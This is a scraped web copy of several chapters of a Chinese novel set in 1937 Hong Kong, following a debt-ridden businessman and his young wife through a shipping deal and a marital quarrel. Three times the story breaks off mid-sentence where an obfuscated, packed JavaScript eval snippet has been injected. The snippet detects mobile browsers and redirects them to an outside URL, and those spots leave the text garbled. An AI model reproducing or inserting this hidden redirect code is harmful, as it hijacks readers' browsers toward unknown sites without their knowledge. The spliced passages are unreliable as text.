他小臂已经不健壮了,然而并不因此变得无力。依次拔出四角的钉子后,他掀开板盖,把不能够存银行的东西取出来。 两个牛皮文件袋和层层叠叠的美元,哪一个都有安身立命之用,而它们之间,夹着一张用铁盒装起来的唱片。盒子已经被挤压变形,打开都颇费了一番力气,但唱片仍然完好无损。 放的时候没觉得有什么异常,现在一看,表演痕迹实在太重了,重到薛莲山直接哧的一声笑出来。 金雪池探头看了一眼,也跟着笑,两人默契地谁都没有提。 53.孝慈 等汇丰派人接走整整一箱美元后,他把大部分存进银行,手头上拿了一些;紧接着就开始准备拍卖和租房子的事。他们不可能一直住旅馆,要在香港停留一年半载,还是该租个房子。 1937年11月12日,上海沦陷。 此次战役规模巨大、惨烈异常,我国军队投入七十三个师、七十余万人,伤亡二十五万余人,仍难敌日军的坚船利炮。然而牺牲不是没有意义,这宝贵的三个月,不仅粉碎了日本帝国主义“三个月□□”的迷梦,还为民族工业、文教人员内迁争取了时间。 尽管早预料到结局不会好,放下报纸后,三人还是许久没说话。直到掌柜叫起来:“三楼的,有请帖!”定青才匆匆跳起来,在门槛处被绊了一跤。 请帖是袁孝勋寄过来的,两张。不出金雪池所预料,他那位续弦夫人的名字赫然便是陈幼兰。 薛莲山前一天晚上跟金雪池说:“袁孝勋是个蠢货,他要说什么,你不用理。” 金雪池松了一口气,“我还以为你们关系很好呢!” “其实在某些方面还谈得来,他很喜欢改装汽车。第二件事,他姐姐和我有过一段。”薛莲山不紧不慢地说,“就是你小时候,我去潮州拜访金先生那会儿。事情过去十多年了,她已经生了两个孩子。现在提前告诉你,希望你不要揪着不放。” 金雪池顺口就接道:“我揪你的事做什么?” 他笑道:“好。” 因为是续弦,袁家没有大办,只在酒楼里设了六七十桌酒。薛莲山一直在观察宾客,他在香港的朋友并不多,想要再把生意做起来,没有门路是吃不开的。 金雪池默默地吃,身边人站起来的时候,她的视线很敏锐地聚焦在袁孝勋身后跟着的女人身上。不似弟弟那样粉面桃花,她的面色沉着得多,然而也是极漂亮的,菱形脸,头发梳得光溜溜得,只留几绺烫过的短卷发在额上;室内温度高,穿得也不多,里一件绛色西式晚礼服,外一件针织披肩。 薛莲山举着酒杯过去,低于她的酒杯,和她碰了碰,“好久不见。” 袁孝慈微笑地凝视他,她少女时期的爱人。 彼时她的名伶母亲正陷入一场舆论风波,对父亲的仕途不利,父亲差一点就要和她们断绝关系——反正是侧室。薛莲山帮了她的大忙,对于她今天能当上袁家二把手都功不可没。情至深处,她在昏昏的路灯下抓住他的手,一字一句地说自己愿意取消和那位英国爵士的的婚约。 薛莲山亲吻她的耳朵,说:“你会后悔的。” 事实证明他是对的。她的夫家很有背景,能为父亲助力;她也与丈夫相敬如宾、琴瑟和鸣,共同生育了一对可爱的儿女。站在现在的年纪上回头看,真不敢相信跟了他会过上什么样的生活。但那个时候——那个时候,她太年轻了,以为没有他的爱,她非死不可。 “好久不见。”她说,“你年纪上来了,却更有气质了。人说‘男人四十一支花’,你才三十一,将来会越来越英俊的。” “而女人是常青树。你完全看不出做了母亲。”他笑着指了指金雪池,“那位是我太太。” 袁孝慈是知分寸的人,也不跟他单独说话了,坐在了金雪池一侧,而薛莲山坐在金雪池另一侧。金雪池立刻问好,她纵然有小小的奇怪之处,到底也是真正的大家闺秀,是上得了台面的。 寒暄几句后,薛莲山把自己的情况交代清楚了。袁孝慈听后,问:“你要借钱吗?三十万以下,我立刻就拿得出来,多的要慢慢活动。” “我的欠债已经够多了,不敢再借了!”他笑道,“我预料到随着阵地失守,国内会陷入缺少资源的状态,所以有意做进出口,将来从国外出口精加工的煤回来。不过,这是一年后去美国做的事,短期内我没法做什么大生意,只愿赶紧还上债,打算运华南的煤矿去内地,赚一点差价。” “你需要轮船?” “不错。” “我帮你问问。华南的矿上你有熟人吧?” “有,我问,就肯定有卖的。” “内地的运输呢?从广州湾到桂林、重庆这些地方?” “我认识一位资源委员会的人,一旦联系上他,这样的商业行为肯定是受鼓励的。” 金雪池在旁边听着,心如刀绞。这番对话纵然是一点过火的内容都没有,但他们才像是一个辈分、一个层次的,她格格不入,像个跟着大人出来吃席的孩子。她不容易对人有好感,但她都要喜欢上袁孝慈了;薛莲山居然舍得在二十出头的年纪里跟对方分手,他现在三十多岁,自己岂入得了他的眼? 这样的生活是没有天日的,她看不到自己出头的可能。她真是够努力了,这么懒散安乐一个人,除了爱他,没坚持过第二件事。 金雪池盯着桌上的一盘鱼,脑袋渐渐地放空,没有再听他们说话。 只剩骸骨的鱼起死回生,离开宾朋满座的宴会厅,坠进南海,一直游到潮州、游到“四点金”的水缸里。在那里,她不会见大世面、不会有大造化,成天只是伏在藻叶下打盹。但是那里有个喜欢喂鱼的金文彬,每日定时定点喂三道食。 当天薛莲山虽只和袁孝慈谈正事,但不可避免地为她的风华和能力感到愉悦,有这样的女人爱过他,是十分光彩的。现在这爱已经不新鲜了,然而永远腾烧在她的二十岁里,不可移除,不可磨灭。 就是怕金雪池跟他闹。 可惜金雪池一贯态度淡然,没闹,回去的路上也不问,简直就是不关心。 接下来的半个月里,他把带来的珠宝古董一件件拍卖了出去,价高价低只能听天由命。按理说去美国应该能拍到更高的价格,但他等不起了。 定青在湾仔租到了一栋房子,毗邻铜锣湾工业区,以劳工居多。这不是昂贵的地段,成天还有些吵。房子只有两层楼,每层面积都比上海的宅子小一大半,也不带院子,汽车直接停后门口。 以现在的经济状况,他也没得挑了。 薛莲山去看了一眼,觉得还行,又叮嘱说:“去人力市场挑个女佣回来,主要负责洒扫做饭。能省一点是一点,我们这一年就只雇一个佣人,劳烦你也多做些家里的事。” 定青忙道:“不劳烦。” 他忘了叮嘱定青——挑个老妈子。 过去的薛公馆里没用大姑娘,就是因为麻烦,年纪小的不能粗使,年纪大了,倘若她们的父母那边没有作为,还得准备一笔嫁妆、送她们出嫁。嫁妆倒不是问题,但薛家没有女眷,他一个男人给人做媒也不太成体统。干脆就全用的老妈子。 现在是新时代了,倡导自由恋爱,但在大众的眼光中,自由恋爱还是属于少爷小姐们的消遣,反正有钱有靠山,可以试错。做工的人连活都活得艰难,还自由恋爱,男的觉得女的浪,女的觉得男的花,都不敢托付终生;他们命数轻薄,错一次,一辈子就毁了。 结果晚上定青回来,把人推到他面前一看,薛莲山登时就笑了:是个白白胖胖的大姑娘! 姑娘叫小桂,苏州人——在满场都是广东、福建人的人力市场找到一个江苏人是很不容易的。小桂自己也不知道自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236222|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多大,长了藕节般浑圆的胳膊、腿,眼珠黑黑的,是两颗菩提子。全身上下固然是一点摩登的元素都找不到,但她美就美在乡气上,璞玉天然。 这个定青,嘴上说不要老婆,倒挑个大姑娘回来。 薛莲山不爱考虑家里长短,但定青跟了他许多年,他不能不为定青想一想。自己要去美国,留他在香港,香港作为英国殖民地是固若金汤的,他大可以在这里生活下去。那么,倘若这一年里两个人发展得好,他临走前能给他们把房屋家具置办齐全。 隔几天,他又买下一辆二手车供出行用。二手的奥斯汀汽车使他感到痛苦。 当晚小桂做了一道香菇炖鸡,她的手艺非常好。因为家里人不多,也没什么规矩,干脆四个人围在一起吃。 小桂虽年纪轻,也前后辗转了好几户人家,能识别出这户主人家非常随和,目前看上来也不是大富大贵之家,只是稍好一点。男主人每天早出晚归、心神不宁,定青也只是闷头吃饭,女主人看起来和自己一样年纪轻,不知道为什么并不起到活跃气氛的作用。一桌没人说话,她就大咧咧地开口说:“今天我去买菜,人家送我一个破花盆、一尾鱼。” 薛莲山和定青于是都抬头看她,小桂心里轻盈地涌进一股风,“我用胶带把盆粘上了,鱼养在里头,放哪里好呢?” 薛莲山说:“离太太远一点吧?她走路不留神,指不定什么时候就踢翻了。” 小桂笑了,她的笑是半含羞、半大胆的,要露牙,但是下唇又抿着遮去一半。这盆鱼最终出现在楼梯形成的三角空隙里,除鱼以外,还插上每日新采的小花小叶。 另外三人都是一副不打算收拾这个家的态度,因为知道不会久留,小桂不知道,小桂愿意把家里装点得漂漂亮亮的。家里有两个年轻力壮的男人,但凡她说话、她唱歌、她笑,他们都乐意看她;太太也性格好,干脆就是有点呆,对家里的事务无所知,若同她说话呢,她也是和气的。 某日饭后,金雪池回房拿了一沓钱递给薛莲山。他有些莫名其妙,接过来一数,林林总总能有两百出头,大为惊讶。 金雪池又补充说:“我在佩珀保险公司找到了一份工作,目前是精算助理。” 薛莲山就更惊讶了,且不说香港难民太多,一职难求;又不说佩珀公司是个有名的外资保险公司,对员工素质的要求很高;单说这个金雪池......他一直没空管她,以为她在家玩呢! “你怎么找到的?” “我就揣着毕业证往大企业一家家跑,问他们缺不缺人。因为我爸爸过去也常往香港跑,香港的银行、保险公司,我也知道一些。”她解释说,“佩珀其实挺缺人的,因为精算岗不招会计生,但是需要会英文、微积分、统计推断的数学学生,做那个风险模型嘛。我一去,他们就要我了。” 薛莲山一想到她大冬天还跑出去上班,就觉得可怜可爱,还把两百块钱上交给自己!遂推回去,笑道:“这是你自己劳动所得,留着吧!真是一大笔钱了,大部分家里男主人都赚不到这么多。” 金雪池听出了他夸奖的意思,然而也明白,他存着一种小孩闹着好玩的心理,没把她这三瓜两枣当真。两百块对于普通人来说已经很多了,但他偏就是不当个数字。 “我留了二十,平常还是吃家里的用家里的,你收下吧!” 薛莲山觉得再拒绝很打击她的积极性,便收下了。但在原则上,只有他给女人钱,没有女人给他钱的,所以全存在一个属于她的账户里,到时候就拿这个账户里的钱充作她的部分学费吧。 54.佩珀 清晨六点钟,闹钟响了。 金雪池在被窝里挣扎片刻,爬起来,关了闹钟。她和薛莲山睡主卧,房子租下来的时候没有家具,他们直接就买了两张单人床。 过去他要上班,她总以为他是很严于律己的人,没事也要起个早床。现在她必须七点半到岗,薛莲山要跑的地方不到八点不开门,她起了,他翻个身继续睡。 金雪池在褥子上找头绳,一边乱摸,就一边盯着他的后脑勺看,没打发胶,毛蓬蓬乱糟糟的。摸到了头绳,她坐到梳妆台前梳头、编辫子,仍看着镜子里的他,这就变了一个角度,能看到他的半边侧脸和耳朵。他习惯侧睡,而且习惯把脸在枕头里埋得很深。 一通梳洗下来,她就不困了。 小桂起得更早,给她下好了面、热好的牛奶,大声道:“太太,早上好!” “早上好。”金雪池看着桌上一大碗面,很有些为难,“小桂,我刚起床不想吃。” 小桂知道她刚起没胃口,让她能吃多少吃多少,又往她的帆布包里装了一个洗好的苹果。 佩珀公司位于中环的皇后大道上,有电车直达,无需家里的汽车送。她喜欢坐第二层,鸟瞰香港岛的清晨,彼时海面上浮光跃金,初升的太阳照的她要微微眯起眼。港口停着几艘英国军舰,黑压压的,静止如冰山;在它们上方,成群结队的海鸥轻捷掠过。 到了佩珀大厦门口,她先去铁皮箱里取文件。固定的一封是汇丰每日发来的英镑兑港元汇率电报,往往还有其他文件,譬如伦敦总部发来的修正案、驻上海通讯员发来的数据、客户信件等等。 她是助理,得比其他职员都到得早。拆完信,调黄铜计算尺,整理前一日计算底稿的时候,同事陆陆续续到了。 她的上司是个名叫布朗的洋人,干瘦、严肃、没有嘴唇。同事倒是有白有黄有白黄混血,她工位对面的是一个小胖子,香港人,叫项康年,特别爱啃指甲。她在这里抄表,就听见咯吱咯吱的声音不绝于耳,过一会儿,一弯指甲碎片就飞过来了。 金雪池感到一阵恶寒,用废稿纸把指甲拨开。 再过一会儿,小胖子剥了自己带来的橘子,颇为热情的掰下一瓣分享给她。她语无伦次地“不”了一串,小胖子就不高兴了,认为她没礼貌。 她是寿险业务组的,人之生死,由一串公式做了预判。 基于1920年代英国本土人口统计,35 岁白人男性的基础预期寿命为 56.3 岁,华人的基础预期寿命则只有白人的80%。战时还有各种修正项,根据疾病情况、逃难区域列出统计表,再做加减乘除。譬如深水埗、九龙冬季在流行疾病,需纳入月度风险计算,住山顶别墅的客户就不必扣掉几年寿命。 现在战事瞬息万变,四面八方的数据飞过来,统计表时时要更新。金雪池并不爱工作,但她一旦觉得什么有意思,那就会视其为一种游戏。她也不打算盘,就一份电报一份电报的看,感觉自己像是人在帐中、运筹帷幄的将军。 可惜她只是个助理,主要协助小胖子进行工作。小胖子让她干的事不多,主要是收发信件、做计算、打字、翻译,无聊得很。于是金雪池开始磨洋工,她既不想翻译,也不想摸小胖子摸过的纸。 元旦之后,袁孝慈约薛莲山见面。 薛莲山不跟她单独见面,带上了金雪池。到了约定地点一看,她也带上了她弟弟。袁孝勋一跨进门槛,就用高而尖的声音叫道:“你还说雪铁龙,我们的车跟在你们后面到的,你开的奥斯汀,这更是狗都不开。怎么回事,落魄啦?逃难到这里——” 说时迟那时快,袁孝慈一个大嘴巴就抽了上去,抽得袁孝勋如陀螺般转出去了半米。薛莲山立刻大笑起来,袁孝勋恶狠狠地扭头道:“你笑什——” 袁孝慈第二个巴掌又把他抽出半米,抽出去,又揪着领子拉回来,她指着他的鼻子说:“如果你这么上不得台面,就不要上台面了。” 看起来姐弟俩平常的相处模式就是这样的,袁孝勋挨了姐姐的打,嘴唇蠕蠕半天,硬是一个字都没敢发声出来。薛莲山还想引诱他挨第三巴掌,道:“我有风光的时候,才能有落魄。袁公子将来倘若没钱,就不能叫落魄,只能说是被家里赶出来了。” 袁孝勋忍着没说话。袁孝慈一笑,切入正题:“有个人叫乔裕民,他开了一家私人船舶公司,比外国公司靠谱些。我已经跟乔裕民打过招呼了,礼拜天晚七点你去□□和他吃顿饭,报我的名字,我订了一个包间。” “其实你直接把他的地址告诉我就好了,这样麻烦你。” 她带着一抹淡淡的笑望着他,“他和他太太是这一带的地头蛇,派头大得很。让你去别人的办公室求人吗?” 突然“吱”的一声,是金雪池把她的橘子水喝干了,叼着吸管对着空腔吸出了声音。她自己也是吓一跳,讪讪地松了口;袁孝慈也立刻举起杯子喝茶。薛莲山笑道:“谢谢。” 然后就没什么正事可聊了,聊不正的事也不合适,饭菜陆陆续续上来了,他们只好说起从上海一路逃难到香港的情形、将来的计划。金雪池绞尽脑汁地想跟袁孝慈搭上几句话,表明自己没有别的意思,正好说到袁家新娶了媳妇,她就问:“新媳妇怎么样?” 这算是问对了,袁孝慈立刻说:“幼兰很合我的心意。” 当天袁孝勋没有去接陈太太一家,陈家人也没说什么,横竖家里没男人了,没底气跟他计较。袁孝勋算盘打得好,认为新媳妇是好欺负的,宴过客后直接溜走,去了戏院。 此人并非是去包戏子的,由于他自己男不男女不女,对于女色并无太大的兴趣,却是个资深票友,喜欢自己也扮上戏服学两嗓子。因此结交了许多不入流的朋友,总在一起通宵玩乐。第二天清晨回到袁公馆,吓得直跌坐在地上:陈幼兰正披着个红盖头站在铁栅门后,背后是百年老宅和将亮未亮青灰的天。 她声音细细地说:“孝勋,你还没有给我揭盖头。” 袁孝勋大骂一声,把她的盖头掀了,眯眼一瞧,“你长得真一般。” 陈幼兰看了他一眼,平平静静地说:“你也不是什么大丈夫。” 因为一夜未睡,他直进了房间就要睡觉,结果床上全铺得花椒壳子、碎花生,勾勾挂挂在绣了花的床单上,抹也抹不下来,抖也抖不掉。他叫自己房的佣人,佣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236223|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人却被唤去厨房烧水了。他只能对陈幼兰道:“把褥子给我换了!” 陈幼兰说:“现在不是睡觉的时候,我们去见太太老爷吧。” 给父母请了安,又去餐厅吃了早餐,他决定出门找个堂子睡觉去,搂着美女睡觉岂不比睡在这个陈幼兰铺了花椒的床上好?回房一看,车钥匙失去了踪迹。 他和薛莲山一样,能不用汽车夫就不用,专爱自己开,所以没有配备专门的汽车夫。袁公馆倒是有好几个汽车夫,然而各房之间关系紧张,他只和袁孝慈是一母所生,现在袁孝慈嫁出去了,家里的兄弟个个与他不睦,他们的佣人、汽车夫,他都不能使唤。 袁孝勋是真的烦了,一转头,陈幼兰正跟在他身后,左一个陪嫁侍女、右一个陪嫁侍女,穿衣的风格之老旧、颜色之俗艳,简直像前清女鬼。她就带着那种谦恭、平和、死心塌地的神色,静静看着他。 她的祖父是个小军阀,鼎盛时期手下有两万兵马,后来打了败仗,被撸成了光杆司令,没再起来;她父亲负过伤,也不便外出,在家一味地吃老本。总而言之,陈家式微了,已经不能给袁家带来什么价值。这陈幼兰,只是因为性情柔顺、年轻健康,娶来延嗣的。 但她是他父亲派来的,他就不敢动她。 这样一个妻子,袁孝勋挑不出好,也挑不出错,处处被掣肘,想挣也挣不开。袁孝慈听闻此事,很是惊讶,亲自去拜访了陈幼兰一趟,大概是暗中进行了一些授意,从此陈幼兰绵里藏针的本事更上一层楼。 “我是不指望他有出息了。”袁孝慈道,“只要不丢人就是好的。有幼兰在,我很可以省些心。” 袁孝勋当众被姐姐这么说,也是一言不发,趴在桌上就没个正形。 回去的路上,奥斯汀居然开着开着熄火了,香港街道狭窄,人还多。薛莲山迅速踩离合把档杆挂进和车速匹配的档位,然后松离合,利用车速把发动机重新带起来。 他开着开着都笑了:“真是狗都不开!” 金雪池道:“不然送去修修吧。” “修车,我也算半个行家了,这种突然熄火是检查不出问题的。” “星期天你带我去吗?” “想去就去。不过没什么好玩的,只是谈事情,吃几道粤菜——我一直吃不惯。” 金雪池沉默了片刻,“我不是去好玩。” 薛莲山伸右手摸了摸她的手背,“想起来了,你要帮我一起还债的。但是人就该为了好玩而出去吃饭,我自己也希望好玩,实在是不得已。就算袁小姐好心替我挪了个场合,我去也是求爷爷告奶奶的,你没必要见证这一切。” “两个人比一个人有底气些。” “我宁愿一个人。”薛莲山笑眯眯道,“虽然我老爱跟人交际,但是你不知道,我面子很薄。” 我知道。金雪池默默地想,我们是一样的人,只是你在各方面都比我完善、成熟得多。 周天她还是跟着去了,因为需要详细听听商谈内容。乔裕民果然摆了好大一个谱,临时又改地点,一个电话打到□□的前台,让服务生通知薛莲山去附近的一个小酒厅,他刚在那里见完朋友。 55.乔裕民 薛莲山二话不说,起身就走,一路风驰电掣过去。幸而那酒厅不是乱糟糟的小酒厅,好歹还灯光明亮、人声柔和,乐队在奏和谐的交响乐。然而包间是没有的,乔裕民就在一个卡座里接见了他。 “坐吧。”他说,“不好意思,我一会儿要回公司,绕路去□□时间不够。” “那乔总可能要换个汽车夫。”薛莲山一屁股坐在他对面,“我五分钟开过来了。” 金雪池感觉自己还是不该来,真尴尬,薛莲山对男性的客气有限,即使他有求于人。她眼神飘忽,看到就酒厅里还有不少太太小姐,想殖民地还是开放啊。左边卡座就坐着两个太太,都是时髦的短卷发,闻言缩着脖子笑了笑。 乔裕民对于薛莲山十分不爽,薛莲山亦瞧不起他,奈何双方都有利可图,只能勉勉强强谈生意。 曲江目前有个尚未被占领的民营煤矿,至今仍保持着日三百吨的产能。然而自十月份日军攻占武汉外围后,粤汉铁路被切断,煤矿囤积,矿主急着出手。没人敢接,薛莲山打算接了——价格能压到二十三法币一吨。 对方可以把煤矿设法从曲江运到黄埔港,他有意租一艘货轮,从黄埔港到广州湾,走陆路运至桂林——这部分就不用乔裕民管了。现在桂林被封锁,煤炭市价飙升至一百二十法币每吨,军方采购价更高。 “月均运输四次,”他最后说,“这个航线如何?” “我跟你讲啊,从黄埔港直接去广州湾,这个航线会经珠江口外的日军警戒区,会被搜查,过一趟香港风险会小很多。不过,中途得耽搁一天办理转口手续。你自己看看能不能接受。” 薛莲山跟他说话就感到火大,接不接受个屁,耽搁一天跟日军警戒线是能比的吗? 接着两人开始谈价钱,他从来都一开口语不惊人死不休,开个低到离谱的价,然后往上慢慢加。 “你也知道,我欠了债,现在急需还上。日后手头松一些了,再提价,不是不可考虑的。” 乔裕民一听他欠了债,一拍大腿,“那你这个信用很成问题啊!” 薛莲山越发觉得驴唇不对马嘴,原来袁孝慈并未详细说明他的情况。解释完自己的信用没问题后,乔裕民忽然爽快地答应了。 “原来是这个缘故。”他说,“我自问是做不到把我的船全沉掉的……薛老板,价格就定这么多吧,我不跟你讲了。你留个地址给我,我开了合同发给你。” 薛莲山的态度也变得谦和起来,“那敢情好。” 晚上八点,乔裕民走了。薛莲山转头问金雪池:“饿不饿?就在这里给你弄点吃的吧?” 金雪池要饿死了,点了点头。他招来服务生点了几样小菜,等待的期间,摇着手中的酒杯复盘刚才那一场对话。 左边的卡座上忽然有个女人站起身收拾皮包,年纪稍长一个女人坐着等她。 金雪池当即是一惊:好美! 这人肤色白而有光泽,简直到了“垆边人似月”的程度,嘴唇擦得亮亮的,眼睛正垂着。单把五官拎出来,似乎并不如袁孝慈;然而她对自己的美是很知道的,并善于摆出美的姿势,不经意的起身垂头之间,自有一派风情。从穿着打扮上看,气质也并不如袁孝慈那样高级,翠绿桃红,有点艳俗。 他在下面捏了一下她的手,低声说:“这两人刚才一直在听我们谈话。” 她一怔,还没反应过来,本该坐她身边的薛莲山忽然进入了她的视野,微笑着走向了人家。 他先是对着年纪稍长的女人说话,这女人地位显然很尊贵,一点头就径直走了。薛莲山只好去探另一个人的口风,微微向前俯身,是一派谦逊、温和却已经开始释放魅力的姿态 女人坐下听他说话,对于男人的搭讪是一种娴熟、无动于衷的态度,往后一靠,也开始释放魅力。几分钟后,两人已经毫无对异性的欣赏,全是对自身魅力的较量。 等薛莲山回来的时候,他发现金雪池已经一声不吭地把小菜吃完了。她平常并没有这么大的胃口。 那女人也跟着回来了,坐在金雪池身边,扭头问:“薛太太?” 她默默一点头。女人便道:“你还像个学生呢!自我介绍一下,我先生是时风电器的经理,我也不是什么正经太太,一个姨太太而已,叫我何二就好了。刚才与我同坐的就是乔太太,你们与乔先生的对话,我都听到了。” 平常金雪池一个人待着,他都看惯了。现在两个女人坐在一起,薛莲山一眼扫过去,就觉得金雪池不管是坐姿、表情还是细长脖子平直肩膀,都比这位何二太太高雅许多,肤色更像是涂了金粉,有端坐莲台之感。两人都是美的,然而金雪池是他所喜爱的、古典的仙子。他很快乐地介绍起自己太太:“确实是个学生,离开上海前刚好毕了业。” 何二太太本来只是来敷衍金雪池的,闻言,态度就发生了微妙的变化,“你读的是哪一所大学?” “圣约翰。” “我只知道上海有同济大学——兴许因为圣约翰这个名字太洋气了,哈哈,我是小地方的人,没有文化。现在工作很难找吧?” “还可以,我在佩珀公司找到了工作。” 三言两语间,何二太太已经感受到她不很通世故,愈发觉得她是个可以亲爱的小孩,“这个我知道,大公司,升职前景是很可观的。” 薛莲山见何二太太不谈乔裕民,心思却完全扑在了金雪池身上,并不恼。何二太太要是真心喜欢金雪池,也算是他们多了一条门路。“升职估计来不及了,”他有些得意地说,“明年她还要去美国继续深造呢。” “去美国呀?学的外文吗?” “不,她是学数学的。” 何二太太的态度陡然发生了明显的变化,“噢!那真是——”她转头直接对金雪池说话:“薛太太今年多大?” 金雪池道:“二十一。” 何二太太就跳起来,从她那一桌上端来了葡萄,硬要金雪池吃。金雪池刚才因为要暗暗地惩罚薛莲山释放魅力,把所有东西都吃光了,再也吃不下去,何二太太就剥了皮送到她嘴边,另一只手往她的细胳膊上一拍,“要多吃!看你瘦的,学习是最需要营养的。” 随后薛莲山又问起何先生的生意,何二太太亦大大方方地作答,说了几句何先生,开始大谈特谈自己开的一家鞋店,手上动作不停地给金雪池剥葡萄。可见她身上贵气的成分并不多,还是秉持一种普通妇人的作风,喜欢谁,就要投喂谁。金雪池觉得吃她剥的葡萄很不礼貌,弱弱地说了几句“不用”,然而对方正聊到兴头上,没听到。 “现在祥宁正推出一款低跟羊皮鞋,非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243805|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适合薛太太这样细长的脚型,日常而不失设计感,无论是通勤还是见朋友都合适。”何二太太说,“我瞧薛太太还穿绣花鞋,过时啦。薛先生为什么不替她买两双呢?” 她不加掩饰地,对于薛莲山和乔裕民的生意不感兴趣,明知他们是初来香港,也不打算提供任何帮助或者牵线搭桥。只是推销自己的鞋子。 薛莲山听出来了,毫不计较:“好。” 还好小桂永远热着宵夜,回到家里,尚有火腿粥。薛莲山心平气和地吃了两碗,觉得这个夜晚还是很美好,谈成一桩生意,认识一位美人,倘若金雪池对他发点小脾气就更好了。 金雪池并不发小脾气,托腮坐在他对面,慢慢道:“我觉得很可疑。乔氏夫妇大概刚和这位何二太太聚完会,两位太太却不走,留在后面听,显然不是把你当普通客户对待。乔裕民早调查过你是谁,他中途恍然大悟,根本就是装的。” 薛莲山也想到了,没打算和她说,等合同寄到再细看吧。毕竟金雪池陪他奔波一趟,听了乔裕民许多傲慢言语,好不容易得到了一个看起来还不错的结果,他懒得阐明其中还有诈。差点忘了她爱好当侦探。 金雪池凑近了一点,“何二太太也不想和我们交朋友,至少没拿出诚心。她就是想宣传鞋子。” “不过,她那样的美人陪我们聊了许久,买两双是应该的。”薛莲山笑着说,“你对人要求还挺高!” 金雪池往后一仰,“我从来都是这样。不像你。” “我怎么了?” “你跟谁都好。” “哎,我确实是个很和善的人。” “你不是,跟谁都好,就是跟谁都不好。” 薛莲山握着一只小调羹抬头看她,她抱着双臂,居高临下,不是要发小脾气,更像是从做派上瞧不起他。 问题是,他并不是要和何二太太发生什么——她把他当什么乱七八糟的人?她只知道他是个花花公子,不知道他也有操守、也有风度、也有高尚?他送了那小刘一朵花,是要追求小刘么?他让顾盼在自己这里完成任务后全身而退,是因为色令智昏么?他将一路保护她、照顾她、供养她,再大费周折地将她弄进美国的学校,只因为他想睡她么? 但凡有心的女人,都会有这么一句话:我知道你是个好人。金雪池不知道的,她没有心,她所理解的世界一是一二是二,没有什么隐言。 他感到一阵烦躁,随口道:“总之我会买她的鞋子,买了后就送给出门后遇到的第一位小姐,不送给你。” 金雪池惊讶地睁大眼睛,也道:“我不穿皮鞋!” “你从前很土,是我教你怎么挑旗袍的。我没教过你皮鞋的门道,你当然不知道要穿皮鞋。” “你十几岁时不土吗?” 薛莲山冷笑一声,“土得很,不过没靠你拉一把。” 金雪池站起身,面无表情,似乎也生气了。片刻后,她说:“你脾气比在上海时要大,六百万还是让你很焦心吧?我确实是仰仗你的,但你要是这么硬气,务必言行合一,自己把事情扛过去。还有,绅士在多大的压力下都该保持风度,不要这么跟我说话。我是看你和天下男人都不一样才跟你的,你这样,我就搬出去住了。” “搬出去住吧。”他往门外一指,“伺候不起。” 56.近年关 小桂早就觉得先生太太的关系不好,同处一间卧室,却要分床睡,现在更是互相不讲话了。 两人早出晚归,同处一檐下的时间本就不多。金雪池吃了晚饭就直接到餐厅对面的一张小书桌边坐着,翻她的书,写写画画;薛莲山会多陪他们坐一会儿,笑嘻嘻地扯些闲天,末了钻进书房。其实都符合他们的行为模式,就是不跟彼此说话。 小桂有种隐隐的高兴。她本来是该早上拖地的,偏把书房留在最后拖,拄着拖把,她把下巴搁在手背上,问他:“薛先生在忙什么?” 薛莲山有时会跟她念一段报纸,或是讲讲手头上的事,语调之亲切,像是对小孩讲话。小桂十岁被卖去当丫头,从来是被主人家打来骂去的,从没有人这样对她,比起听内容,她更注意听他的语调语气,末了,做出傻气的笑,“我是不太懂的。早上去买了杏干,你要不要?” 倘若他说要,她就认为是一场很良性的互动。 金雪池没有搬出去住。其实以她的工资,完全负担地起一间小屋,比她在上海时的境况好多了;但那时她决心离开他,现在她却被和他绑在一起,没必要花钱赌这个气。还不如留着来还债。 其实薛莲山根本不能算是骂她,相反,她最后一段话倒是说得太重了。唉,她到底是大小姐性子,一点委屈都受不得,非要人捧着才舒服。现在不与薛莲山和好,也是因为她有大小姐的骄矜,只有他主动找她的,没有她主动找他的。 但这回他好像真的生气了。她决定就算不找他和好,也释放出一点友好的信号。 虽说她是人寿业务组的,但档案室完全向她敞开,她能接触到船舶业务组的资料。一摞一摞地搬回来看,没人有意见,她也就慢慢地对船舶业务通了几窍。 某天回去,薛莲山正坐在桌边看合同,一见她来,把合同往桌上一甩就走。她拿起来仔仔细细读了一晚上,感觉到处都是圈套,一只八爪鱼踩在这份合同上,八条腿能同时被吊起来。现在正是运输需求量大的时候,各公司都供不应求,想来乔裕民也不会以如此低的价格把船租给他们。 第二天她在佩珀公司就尽干私活去了,把乔氏租过来的四艘船的档案整理出来,在值得关注的地方用红墨水划了勾,晚上递给他。 薛莲山看也没看,推了回来。 “看看吧,那几条船有问题。” 他头也不抬地说:“这是我自己的事。” 